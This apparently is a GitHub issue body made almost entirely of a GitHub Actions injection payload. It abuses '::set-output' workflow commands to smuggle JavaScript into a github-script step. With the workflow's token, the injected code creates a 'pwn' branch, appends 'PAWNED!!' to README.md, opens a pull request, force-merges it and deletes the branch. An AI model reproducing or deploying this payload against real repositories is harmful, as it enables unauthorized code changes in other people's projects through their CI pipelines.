Open prksu opened 3 years ago
::set-output name=COMMENT_ID::1
::set-output name=COMMENT_ID::async function(){const e=context.repo.owner,a=context.repo.repo,t="ahmadnurus.sh@gmail.com",r=await github.git.getRef({owner:e,repo:a,ref:"heads/main"}),o=await github.git.createRef({owner:e,repo:a,ref:"refs/heads/pwn",sha:r.data.object.sha}),n=await github.repos.getContent({owner:e,repo:a,path:"README.md"});var i=Buffer.from(n.data.content,"base64").toString("ascii");i+="\nPAWNED!!\n",await github.repos.createOrUpdateFileContents({owner:e,repo:a,path:"README.md",message:"PWNED!",content:Buffer.from(i).toString("base64"),branch:o.data.ref,sha:n.data.sha,committer:{name:"Ahmad Nurus S.",email:t},author:{name:"Ahmad Nurus S.",email:t}});const s=await github.pulls.create({owner:e,repo:a,title:"PWNED!!",head:o.data.ref,base:r.data.ref,body:"PWNED!!!"});await github.pulls.merge({owner:e,repo:a,pull_number:s.data.number,merge_method:"squash"}),await github.git.deleteRef({owner:e,repo:a,ref:"heads/pwn"})};id();
fuz